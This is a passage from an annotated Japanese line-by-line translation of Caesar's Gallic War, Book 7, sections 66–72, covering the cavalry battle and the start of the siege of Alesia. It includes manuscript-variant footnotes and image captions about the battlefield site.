*ad reliqui temporis pacem atque otium parum profici; 
**将来の平和と平穏は不充分にしか得られない。
*maioribus enim coactis copiis reversuros 
**なぜなら（ローマ人たちは）より大きな軍勢を徴集して（ガッリアに）戻って来るであろうし、
*neque finem bellandi facturos. 
**戦争することに結末をつけることはないであろう。
*Proinde agmine impeditos adorirentur&lt;ref&gt;adorirentur はA･β系写本の記述で、M･L･N写本では adoriantur 、S写本では adorantur 、Q･B･M写本ではadorientur となっている。&lt;/ref&gt;. 
**それゆえに、（ローマ勢の）行軍によって重荷となっている（輜重隊の）者たちを襲撃するのだ。
*⑤　Si pedites suis auxilium ferant atque in eo morentur, iter facere&lt;ref&gt;facere はα系写本の記述で、β系写本では confici となっている。&lt;/ref&gt; non posse; 
**もし（ローマ勢の）歩兵たちが味方を支援し、そのことで滞留するならば、（属州へ）行軍することはできない。
*si ─id quod magis futurum confidat─ 
**もし、─（我は）むしろそうなるであろうと期待することであるが─
*relictis impedimentis suae saluti consulant, 
**（ローマ歩兵たちが）[[w:輜重|輜重]]を残して、自分たちの身の安全に意を用いるならば、
*et usu rerum necessariarum et dignitate spoliatum iri. 
**必需品の使用や（ローマ人としての）品格をはぎ取られることになる。
*⑥　Nam de equitibus hostium, 
**なぜなら、敵方の騎兵については
**&lt;span style=&quot;color:#009900;&quot;&gt;:（訳注：著者カエサルはここでは、間接話法でありながら、ローマ勢について hostium「敵方の」と表現している。）&lt;/span&gt;
*quin nemo eorum progredi modo extra agmen audeat, 
**彼ら（ローマ騎兵）のうち誰も、&lt;ruby&gt;&lt;rb&gt;行軍縦隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アグメン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の外にすら、あえて進み出ようとしないこと、
*et ipsos quidem non&lt;ref&gt;et ipsos quidem non はα系写本の記述で、β系写本では ne ipsos quidem となっている。&lt;/ref&gt; debere dubitare. 
**（そのことを、諸君ら）自身は決して疑念を持つことなかれ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*Id quo maiore faciant animo, 
**それ（＝輜重隊への襲撃）を、より大胆な心構えで実行してもらうために、
*copias se omnes pro castris habiturum et terrori hostibus futurum. 
**自分（ウェルキンゲトリークス）が軍勢すべてを陣営の前に保持しておくであろうし、敵方の心胆を寒からしめるであろう。
*⑦　Conclamant equites 
**（ガッリア勢の）騎兵たちは（以下のように）叫んだ。
*sanctissimo iure iurando confirmari oportere, 
**最も神聖な誓約によって確証されなければならぬ。
*ne tecto recipiatur, ne ad liberos, ne ad parentes, ad&lt;ref&gt;ne ad …, ne ad …, ad が写本(ω)の記述であるが、モイゼル Meusel は ne ad …, ad …, ad と修正提案をしている。&lt;/ref&gt; uxorem aditum habeat, 
**（以下の者は）家に迎え入れられたり、子供たちや親たちや妻女たちのところへ近づくことがないように。
*qui non bis per agmen hostium perequitasset&lt;ref&gt;perequitasset はα系写本の記述で、β系写本では perequitarit となっている。&lt;/ref&gt;.
**敵方（ローマ勢）の隊列を越えて（往復の）2度、騎馬で駆け抜けることがなかった者は。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：敵中突破と生還を成し遂げなかった騎兵は、復員してはならない、と誓約したのである。）&lt;/span&gt;

===67節===
'''カエサル麾下のゲルマニア騎兵がウェルキンゲトリークスを一蹴'''
*①　Probata re atque omnibus iure iurando adactis 
**これが賛同されて、（ガッリア騎兵の）皆が誓約させられて、
*postero die in tres partes distributo equitatu 
**翌日に、[[w:騎兵|騎兵隊]]を3つの分隊に分配した。
*duae se acies ab duobus lateribus ostendunt, 
**2隊は（ローマ勢の左右）2つの側面から&lt;ruby&gt;&lt;rb&gt;戦闘隊形&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アキエス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として現われた。
*una a&lt;ref&gt;a はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; primo agmine iter impedire coepit. 
**1隊は（ローマ勢の）前衛から行軍を妨げ始めた。
*②　Qua re nuntiata 
**その事が報告されて、
*Caesar suum quoque equitatum tripertito divisum contra hostem ire iubet. 
**カエサルは麾下の騎兵隊おのおのを3つに配分して、敵に対して向かって行くことを命じた。
*Pugnatur una omnibus in partibus. 
**（騎兵戦が）同時にすべての方面で戦われた。
*③　Consistit agmen; 
**（ローマ勢の）&lt;ruby&gt;&lt;rb&gt;行軍縦隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アグメン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は一歩も引かなかった。
*impedimenta intra legiones recipiuntur. 
**[[w:輜重|輜重]]は諸[[w:ローマ軍団|軍団]]の内側に後退した。
*④　Si qua in parte nostri laborare aut gravius premi videbantur, 
**もし、我が方（ローマ勢）のある部隊が苦戦したり、またはひどく押されぎみだと思われたならば、
*eo signa inferri Caesar aciemque constitui&lt;ref&gt;constitui はα系写本の記述で、β系写本では converti 、T写本では conferri となっている。&lt;/ref&gt; iubebat; 
**カエサルはそこに進撃して戦列を組織することを命じた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：signa inferre「軍旗を進める、進撃する」）&lt;/span&gt;
*quae res et hostes ad insequendum tardabat et nostros spe auxilii confirmabat. 
**その事が、敵方が追撃して来るのを遅らせもしたし、我が方が支援の希望により元気付けられもした。
*⑤　Tandem Germani ab dextro latere summum iugum nacti hostes loco depellunt, 
**ついに、ゲルマニア人（騎兵）たちが右の側面から尾根の頂きを掌握して、敵方をその場から追いやった。
*fugientes usque ad flumen, 
**逃亡する（ガッリア騎兵の）者たちを川の辺りまで（追って）、
*ubi [[w:la:Vercingetorix|Vercingetorix]] cum pedestribus copiis consederat, 
**そこには[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が[[w:歩兵|歩兵]]の軍勢とともに陣取っていたのだが、
*persecuntur&lt;ref&gt;persecuntur はα系写本の記述で、β系写本では persequuntur となっている。&lt;/ref&gt; compluresque interficiunt. 
**（ゲルマニア騎兵が敵を川辺まで）追撃して、かなりの者たちを殺戮した。
*⑥　Qua re animadversa 
**その事が（敵方に）気付かれて、
*reliqui ne circumirentur&lt;ref&gt;circumirentur はA･φ系写本の記述で、Q･β系写本では circumvenirentur となっている。&lt;/ref&gt; veriti se fugae mandant. 
**（ガッリア勢の）残りの者たちは、包囲されないようにと怖れて、逃亡に身を任せた。
*Omnibus locis fit caedes. 
**（こうしてローマ方により）あらゆる場所で虐殺が行なわれた。
*⑦　Tres nobilissimi [[w:la:Haedui|Haedui]] capti ad Caesarem perducuntur: 
**[[w:ハエドゥイ族|ハエドゥイー族]]の3人の高位の貴族が捕らえられて、カエサルのところへ連行されて来た。
*Cotus, praefectus equitum, qui controversiam cum Convictolitavi proximis comitiis habuerat, 
**コトゥスは騎兵指揮官で、最近の会議でコンウィクトリタウィスと（統領の座をめぐって）係争した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#32節|32節]]～33節を参照。）&lt;/span&gt;
*et Cavarillus, qui post defectionem Litavicci pedestribus copiis praefuerat, 
**カウァリッルスは、リタウィックスの背反の後に、歩兵の軍勢を指揮していた。
*et Eporedorix, quo duce ante adventum Caesaris Haedui cum Sequanis bello contenderant.
**エポレドリクスは、カエサルの到来以前にハエドゥイー族の将帥としてセクアニ族と戦争を闘っていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この人物は、ウィリドマルスとともにカエサルを裏切ったエポレドリクスとは同名異人である。）&lt;/span&gt;

==アレスィア攻囲戦==
===68節===
[[画像:Alésia.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]であるとほぼ確実視されている仏アリーズ＝サント＝レーヌ村（[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]）近郊のオソワ山（Mont Auxois）という丘陵の西端にある[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]像（&lt;small&gt;[[w:fr:Vercingétorix_(statue d'Aimé Millet)|Statue de Vercingétorix]]&lt;/small&gt;）。&lt;small&gt;[http://maps.google.co.jp/?ie=UTF8&amp;ll=47.538579,4.490544&amp;spn=0.001172,0.002401&amp;t=h&amp;z=19&amp;brcurrent=3,0x0:0x0,1 Googleマップ]&lt;/small&gt;の航空写真にもこの巨像が写っている。&lt;br&gt;当地はフランス東部[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]][[w:コート＝ドール県|コート＝ドール県]]（&lt;small&gt;[[w:fr:Côte-d'Or|Côte-d'Or]]&lt;/small&gt;）のオソワ地域（&lt;small&gt;[[w:fr:Auxois (région)|L'Auxois]]&lt;/small&gt;）にあり、県都[[w:ディジョン|ディジョン]]市街から西北西へ約4.5kmの地点に位置する。ディジョン方面から県道905号（D905）を北西に進んで行くと、ヴナレ＝レ＝ローム（&lt;small&gt;[[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]]&lt;/small&gt;）から東の郊外にかけて古戦場跡が広がる。&lt;br&gt;オソワ（Auxois）という地域名・山名は、ラテン語の Alesiensis pagus「アレスィア郷」が転訛し、アリーズ（Alise）の名もアレスィア（Alesia）に由来すると考えられている。サント＝レーヌ（[[w:fr:Sainte Reine|Sainte Reine]] 聖レグニア）とはこの地でAD252年に殉教したキリスト教徒ガッリア人女性で、カトリック教会から聖人に列せられている。]]

'''ウェルキンゲトリークスがアレスィア入城、カエサルは攻囲を決断'''
*①　Fugato omni equitatu 
**すべての[[w:騎兵|騎兵隊]]が逃げてしまったので、
*[[w:la:Vercingetorix|Vercingetorix]] copias suas&lt;ref&gt;suas はβ系写本の記述で、α系写本にはない。&lt;/ref&gt;, ut pro castris conlocaverat, reduxit 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、陣営の前に配置するようにしていた麾下の（歩兵の）軍勢を呼び戻して、
*protinusque [[w:la:Alesia|Alesiam]], quod est oppidum Mandubiorum, iter facere coepit 
**すぐに、マンドゥビイ族の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;である[[w:アレシア|アレスィア]]へ行軍し始めた。
*celeriterque impedimenta ex castris educi et se subsequi iussit. 
**かつ、速やかに陣営から[[w:輜重|輜重]]を進発させること、および自分に追随すること、を命じた。
*②　Caesar impedimentis in proximum collem deductis, 
**カエサルは、輜重を近隣の丘陵に移させて、
*duabus legionibus praesidio relictis, 
**2個[[w:ローマ軍団|軍団]]を（輜重の）守備隊として（その丘陵に）残留させた。
*secutus quantum diei tempus est passum, 
**日中の時間が許される限り（ガッリア勢を）追跡して、
*circiter tribus milibus hostium ex novissimo agmine interfectis 
**敵方の後衛のうちから約3000人を殺戮して、
*altero die ad Alesiam castra fecit. 
**翌日には、アレスィアの辺りに陣営を張った。
*③　Perspecto urbis situ 
**（アレスィアの）都市の地勢を吟味して、
*perterritisque hostibus, quod equitatu, qua maxime parte exercitus confidebant, erant pulsi, 
**敵方は、部隊の大部分において頼りにしていた騎兵隊が撃退されていたので、怖れおののいていたから、
*adhortatus ad laborem milites circumvallare instituit.
**（カエサルは）兵士たちを労役に駆り立てて、（敵陣を）[[w:堡塁|堡塁]]で囲むことを決断した。

===69節===
[[画像:Alise2.jpg|thumb|right|300px|[[w:アレシア|アレスィア]]にあったローマ時代の[[w:フォルム|フォルム]]（広場）や[[w:バシリカ|バシリカ]]（教会堂）などと思われる遺跡（[http://maps.google.co.jp/?ie=UTF8&amp;t=h&amp;brcurrent=3,0x0:0x0,1&amp;ll=47.539477,4.5008&amp;spn=0.002343,0.004801&amp;z=18 Googleマップ]の航空写真を参照）。現在、オソワ山（Mont Auxois）と呼ばれているこの丘陵は、頂きが平坦な台地状になっており、その中央のさらに高い所に[[w:オッピドゥム|オッピドゥム]]（城塞都市）があったと思われる。&lt;br&gt;上の画像からは、同等の高さの丘陵が周囲を取り巻いていることが見て取れる。&lt;br&gt;『ガリア戦記』に書かれたアレスィアの所在地については諸説があって永らく不明であったが、ゲルゴウィアと同様に19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の発掘調査によってローマ軍の遺構などが発見され、地勢もカエサルの記述にかなり合っていると見なされて、オソワ山とその中腹にあるアリーズ＝サント＝レーヌが有力視されることになった。]]

'''アレスィアの地勢、ローマ軍の攻囲線'''
*①　Ipsum erat oppidum [[w:la:Alesia|Alesia]] in colle summo admodum edito loco, 
**[[w:アレシア|アレスィア]]の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;そのものは、丘陵の頂きにおいて、ひときわ高い地点にあって、
*ut nisi obsidione expugnari non posse videretur. 
**攻囲（包囲）以外には攻略されることができないと思われた。
*②　Cuius collis radices duo duabus ex partibus flumina subluebant. 
**その丘陵のふもとを2つの方面から、2つの川が流れていた。
*③　Ante id&lt;ref&gt;id はα系写本の記述で、β系写本にはない。&lt;/ref&gt; oppidum planities circiter milia passuum Ⅲ(tria) in longitudinem patebat; 
**その城塞都市の前に、約3ローママイル（4.5km）の間隔で、平地が広がっていた。
*④　reliquis ex omnibus partibus colles mediocri interiecto spatio 
**ほかのすべての方面からは（いくつかの）丘陵が適度な空間を置いており、
*pari altitudinis fastigio oppidum cingebant. 
**同等の高さの頂上で（アレスィアの）城塞都市を取り巻いていた。
*⑤　Sub muro, quae pars collis ad orientem solem spectabat, 
**（アレスィアの）丘陵の日が昇る方（＝東方）へ面していた部分の城壁の下には、
*hunc omnem locum copiae Gallorum compleverant 
**このすべての場所を、ガッリア人たちの軍勢が満たしていて、
*fossamque et maceriam sex in altitudinem pedum praeduxerant. 
**堀、および高さ6[[w:ペース (長さ)|ペース]]（約1.8m）の防壁を前に引いていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:maceria|maceria]] は、軍事用語としては、立てこもるための城壁&lt;ref&gt;&lt;i&gt;muraille (pour se retrancher)&lt;/i&gt;（ラルース社の羅仏辞典 &lt;small&gt;“Dictionnaire MaxiPoche Plus latin-français et français-latin”&lt;/small&gt; を参照）&lt;/ref&gt;を指す。）&lt;/span&gt;
*⑥　Eius munitionis quae ab Romanis instituebatur circuitus XI&lt;ref&gt;XI はα系写本の記述で、β系写本では X となっている。&lt;/ref&gt; milia passuum tenebat. 
**ローマ人たちによって建てられようとしていた塁壁の周囲は、11ローママイル（約16km）を占めていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：α系写本では 11マイル＝約16km、β系写本では 10マイル＝約15km となっている。）&lt;/span&gt;
*⑦　Castra opportunis locis erant posita 
**（ローマ勢の）陣営は（戦略上）都合良い地点に設置されていて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵・騎兵の陣営が計8か所に置かれていたようである。）&lt;/span&gt;
*ibique&lt;ref&gt;ibique はα系写本の記述で、β系写本では itemque となっている。&lt;/ref&gt; castella XXIII(viginti tria) facta, 
**同じく23基の砦が造られた。
*quibus in castellis interdiu stationes ponebantur, 
**それらの砦には、昼間は、歩哨たちが置かれて、
*ne qua subito eruptio fieret; 
**不意に何らかの突撃がなされないようにした。
*haec eadem noctu excubitoribus ac firmis praesidiis tenebantur.
**この同じところが、夜間は、寝ずの番兵および強力な守備隊により固守された。

===70節===
'''カエサル麾下のゲルマニア騎兵が、再びガッリア騎兵を虐殺'''
*①　Opere instituto 
**（ローマ人により）[[w:堡塁|堡塁]]が建てられだして、
*fit equestre proelium in ea planitie, 
**かの平地において[[w:騎兵|騎兵]]戦がなされた。
*quam intermissam collibus tria milia passuum in longitudinem patere supra demonstravimus. 
**それ（平地）は（周囲の）丘陵から3ローママイル（約4.5km）の間隔を空けて広がっていることを、[[#69節|前]]に述べた。
*Summa vi ab utrisque contenditur. 
**（騎兵戦は）双方の主力によって闘われた。
*②　Laborantibus nostris Caesar Germanos submittit 
**苦戦している我が方（ローマ騎兵）に対して、カエサルは[[w:ゲルマニア|ゲルマニア]]人（騎兵）を援けに派遣した。
*legionesque pro castris constituit, ne qua subito inruptio ab hostium peditatu fiat. 
**諸[[w:ローマ軍団|軍団]]を陣営の前に駐留させて、不意に何らかの突入が敵方の[[w:歩兵|歩兵隊]]によってなされないようにした。
*③　Praesidio legionum addito nostris animus augetur; 
**軍団の守備が加わって、我が方（ローマ勢の）勇気が増された。
*hostes in fugam coniecti se ipsi multitudine impediunt 
**敵方（の騎兵）は敗走に追いやられて、彼ら自身が自分たち（の敗走）を大勢であることにより妨げた。
*atque angustioribus portis relictis coacervantur&lt;ref&gt;coacervantur は近世の写本(ς)の記述で、α系写本では coacervati tum 、β系写本では coartantur となっている。&lt;/ref&gt;. 
**さらに（ガッリア陣地の）諸門がとても狭いままにしておかれたので（騎兵たちが）積み重ねられた。
*④　Germani acrius usque ad munitiones sequuntur. 
**ゲルマニア人（騎兵）たちは（ガッリア騎兵たちを）苛烈に、防塁のところまで追撃した。
*⑤　Fit magna caedes. 
**（こうして）大虐殺が起こった。
*Nonnulli relictis equis fossam transire et maceriam transcendere conantur. 
**（ガッリア騎兵の）幾人かは、馬を置き去りにして、堀を越えること、および防壁を登り越えることを試みた。
*Paulum legiones Caesar quas pro vallo constituerat promoveri iubet. 
**カエサルは、防柵の前に駐留させていた諸軍団に、いくらか前進することを命じた。
*⑥　Non minus qui intra munitiones erant perturbantur Galli: 
**防塁の内側にいたガッリア人たちも（騎兵たちに）劣らず狼狽した。
*veniri ad se confestim existimantes ad arma conclamant; 
**（ローマ勢により）自分たちのところへ直ちにやって来られると考えた者たちは、防具を取れと叫んだ。
*nonnulli perterriti in oppidum inrumpunt. 
**（ガッリア勢の）幾人かは、怖れおののいて（丘陵の頂きにある）城塞都市の中に押し入った。
*⑦　[[w:la:Vercingetorix|Vercingetorix]] iubet portas claudi, ne castra nudentur. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、陣営が無防備にされないように、（防塁の）諸門が閉じられることを命じた。
*Multis interfectis, compluribus equis captis Germani sese recipiunt.
**（ガッリア騎兵の）多くが殺戮され、おびただしい馬が捕獲されて、ゲルマニア人（騎兵）たちは退却した。

===71節===
[[画像:Statue_Vercingetorix_st_germain_en_laye.JPG|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（&lt;small&gt;パリ郊外の[[w:サン＝ジェルマン＝アン＝レー|サン＝ジェルマン＝アン＝レー]] [[w:fr:Saint-Germain-en-Laye|Saint-Germain-en-Laye]]&lt;/small&gt;）。[[w:アレシアの戦い|アレスィア古戦場]]（&lt;small&gt;現在のアリーズ＝サント＝レーヌ&lt;/small&gt;）にある巨大な銅像と同様に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）によって建立された。]]
[[画像:Napoleon3.PNG|thumb|right|250px|ウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）をして[[w:アレシア|アレスィア]]およびゲルゴウィアの発掘調査をさせた立役者･皇帝[[w:ナポレオン3世|ナポレオン3世]]の肖像。[[w:ガリア起源説|ガッリア起源説]]により、王政に反感を持つフランスの共和派や庶民は、旧[[w:ブルボン家|ブルボン王朝]]を[[w:クロヴィス1世|クロヴィス]]や[[w:ユーグ・カペー|カペー]]にさかのぼるゲルマン系の[[w:フランク人|フランク人]]と見なし、自分たちのルーツを[[w:ケルト人|ケルト系]]の古代[[w:ガリア人|ガッリア人]]に求めた。ナポレオン3世はこのような国民の意識を利用して、[[w:ナショナリズム|ナショナリズム]]の高揚および帝政の基盤強化を図ったのである。]]

'''ウェルキンゲトリークスが援兵召集のため騎兵を放ち、籠城策を定める'''
*①　[[w:la:Vercingetorix|Vercingetorix]], priusquam munitiones ab Romanis perficiantur, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ローマ人たちによって塁壁が完成されるより前に、
*consilium capit omnem ab se equitatum noctu dimittere. 
**自分のところから[[w:騎兵|騎兵隊]]のすべてを夜間に送り出すことを計画した。
*②　Discedentibus mandat 
**（アレスィアから）退去する（騎兵の）者たちに（以下のように）指図した。
*ut suam quisque eorum civitatem adeat 
**彼ら（騎兵）のおのおのが自らの部族に行くように、
*omnesque qui per aetatem arma ferre possint ad bellum cogant. 
**かつ、年齢により武器を手に取ることができる者たちの皆を戦争へ徴集するように、と。
*③　Sua in illos merita proponit obtestaturque 
**（ウェルキンゲトリークスは）彼ら（ガッリア人たち）における自分の功績に言及して（以下のように）懇願した。
*ut suae salutis rationem habeant 
**自分の身の安全を顧慮してくれるように、
*neu se optime de communi libertate meritum in cruciatum hostibus&lt;ref&gt;in cruciatum hostibus はβ系写本の記述で、α系写本では hostibus in cruciatum となっている。&lt;/ref&gt; dedant. 
**かつ（ガッリア）共通の自由について功績が最上である自分を、敵方の責め苦に渡すことがないように、と。
*Quod si indiligentiores fuerint, 
**ところが、もし（騎兵たちがウェルキンゲトリークスたちの安全に）無関心であったならば、
*milia hominum delecta octoginta una secum interitura demonstrat. 
**選りすぐりの兵員8万名が自分と一緒に滅びるであろう、と明言した。
*④　Ratione inita frumentum se exigue dierum XXX(triginta) habere&lt;ref&gt;frumentum ～ habere はβ系写本の記述で、χ系･φ系あるいはモイゼル H. Meusel の修正提案など、写本や校訂者により語順が異なっていたり、単語が欠けていたりする。&lt;/ref&gt;, 
**見積もったところ、自分たちはわずかに30日分の穀物を保有しているが、
*sed paulo etiam longius tolerari posse parcendo. 
**しかし節約することにより、なおいくらか長く耐え忍ぶことができる、と。
*⑤　His datis mandatis, 
**これらの指図を与えてから、
*qua erat nostrum opus&lt;ref&gt;erat nostrum opus はβ系写本の記述で、α系写本では単に opus erat となっている。&lt;/ref&gt; intermissum, secunda vigilia silentio equitatum mittit&lt;ref&gt;mittit はχ系･B･M･S写本の記述で、β系写本では dimittit となっている。&lt;/ref&gt;. 
**我が方（ローマ勢）の構築物が中断しているところから、第二夜警時に静けさのうちに、騎兵隊を送り出した。
*⑥　Frumentum omne ad se referri iubet, 
**穀物をすべて自分のところへ運んで来ることを命じて、
*capitis poenam iis qui non paruerint constituit; 
**服従しなかった者たちを極刑に処すと決めた。
*⑦　pecus, cuius magna erat copia a Mandubiis&lt;ref&gt;a Mandubiis はβ系写本の記述で、α系写本では ab Manduviis となっている。&lt;/ref&gt; compulsa, viritim distribuit; 
**家畜は、マンドゥビイ族によって大量に集められていたが、個々に分配した。
*frumentum parce et paulatim metiri instituit; 
**穀物を節約して少しずつ量り分けることを定めた。
*⑧　copias omnes quas pro oppido collocaverat in oppidum recepit. 
**&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の前に駐留させていた（歩兵の）軍勢すべてを城塞都市の中に退却させた。
*⑨　His rationibus auxilia Galliae exspectare et bellum parat administrare&lt;ref&gt;parat administrare はα系写本の記述で、β系写本では administrare parat となっている。&lt;/ref&gt;.
**これらの手段により、ガッリア（諸部族）の援軍を待つこと、および戦争を指導しようとしたのである。

===72節===
'''カエサルが、より大掛かりな攻囲陣地を構築する'''
*①　Quibus rebus cognitis&lt;ref&gt;cognitis がこの位置にあるのはα系写本の記述で、β系写本では captivis の後となっている。&lt;/ref&gt; ex perfugis et captivis 
**それらの事情を脱走兵たちや捕虜たちから知って、
*Caesar haec genera munitionis instituit. 
**カエサルは以下の類いの塁壁工事に取りかかった。
&lt;br&gt;

*'''前線の切り立った空堀'''
*Fossam pedum XX(viginti) derectis lateribus duxit, 
**20[[w:ペース (長さ)|ペース]]（約6m）の（幅の）垂直な側面の堀を引いた。
*ut eius fossae&lt;ref&gt;fossae がこの位置にあるのはβ系写本の記述で、α系写本では summa(e) の後になっている。&lt;/ref&gt; solum tantundem pateret, quantum summa&lt;ref&gt;summa はβ系写本の記述で、α系写本では summae となっている。&lt;/ref&gt; labra distarent&lt;ref&gt;distarent はα系写本の記述で、β系写本では distabant となっている。&lt;/ref&gt;. 
**その堀（の底）は、頂きの縁が離れているのとちょうど同じ分だけ広がるようにした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上辺と底の幅が等間隔になるような切り立った空堀にした。）&lt;/span&gt;
*②　Reliquas omnes munitiones ab ea fossa pedes&lt;ref&gt;pedes はα系写本の記述で、β系写本では pedibus となっている。&lt;/ref&gt; CCCC(quadringentos) reduxit. 
**ほかのすべての塁壁は、その堀から400ペース（約120m）後ろに引いた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：写本にあるこの数字は、19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;発掘調査によって400[[w:パッスス|パッスス]]（約600m）と修正された。この堀は、アレスィアの西方に引かれたと思われる。）&lt;/span&gt;
*Id hoc consilio, 
**それは、以下の考えによる。
*quoniam tantum spatium necessario esset&lt;ref&gt;spatium necessario esset はβ系写本の記述で、α系写本では esset necessario spatio となっている。&lt;/ref&gt; complexus 
**これほどの空間が包囲されなければならないのであるから、
*nec facile totum corpus&lt;ref&gt;corpus はα系写本の記述で、β系写本では opus となっており、ρ系写本にはない。&lt;/ref&gt; corona militum cingeretur, 
**すべての包囲作業が兵士たちの&lt;ruby&gt;&lt;rb&gt;哨兵線&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コロナ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で取り囲まれるのは容易ではない。
*ne de improviso aut noctu ad munitiones hostium multitudo&lt;ref&gt;hostium multitudo はα系写本の記述で、β系写本では multitudo hostium となっている。&lt;/ref&gt; advolaret 
**不意に、あるいは夜間に、敵方の大勢が（ローマ側の）塁壁へ突進することがないように、
*aut interdiu tela in nostros operi destinatos conicere possent&lt;ref&gt;possent はα系写本の記述で、β系写本では posset となっている。&lt;/ref&gt;. 
**あるいは日中に、工事中の我が方（ローマ勢）に飛道具が投げ付けられることができないように。
&lt;br&gt;

[[画像:Fosse.Saint.Pierre.en.Chastres.png|thumb|right|300px|二重の堀およびその背後の堡塁（土塁と障壁・櫓）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。]]
[[画像:AlesiaFortifications.JPG|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された、二重の堀およびその背後の堡塁（土塁と鹿柴、胸壁・鋸壁、櫓）。]]

*'''二重の堀'''
*③　Hoc intermisso spatio 
**この空間をあけて、
*duas fossas XV(quindecim) pedes latas eadem altitudine perduxit; 
**15ペース（約4.5m）の幅の2つの堀を、同じ深さ（15ペース）で張り巡らせた。
*quarum interiorem campestribus ac demissis locis 
**それらの内側（の堀）の平地で低く下がった所には、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：内側の堀とは、アレスィアに近い東側の堀と考えられている。）&lt;/span&gt;
*aqua ex flumine derivata complevit. 
**川から導かれた水で満たした。
&lt;br&gt;

*'''土塁と防柵、胸壁と鋸壁、鹿柴、櫓'''
*④　Post eas aggerem ac vallum XII(duodecim) pedum exstruxit. 
**それらの後ろには、12ペース（約3.6mの高さ）の&lt;ruby&gt;&lt;rb&gt;[[w:土塁|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;防柵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウァッルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を築き上げた。
*Huic loricam pinnasque adiecit 
**これに&lt;ruby&gt;&lt;rb&gt;胸壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ロリカ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;鋸壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピンナ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を付け加えて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：胸壁と鋸壁とは、[[ガリア戦記 第5巻#40節|第5巻40節]]で既出のように、凹凸形に編み込まれた柴の壁）&lt;/span&gt;
*grandibus cervis eminentibus ad commissuras pluteorum atque aggeris, 
**障壁と土塁の接合部の辺りに大きな&lt;ruby&gt;&lt;rb&gt;鹿柴&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケルウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を突き出させて、
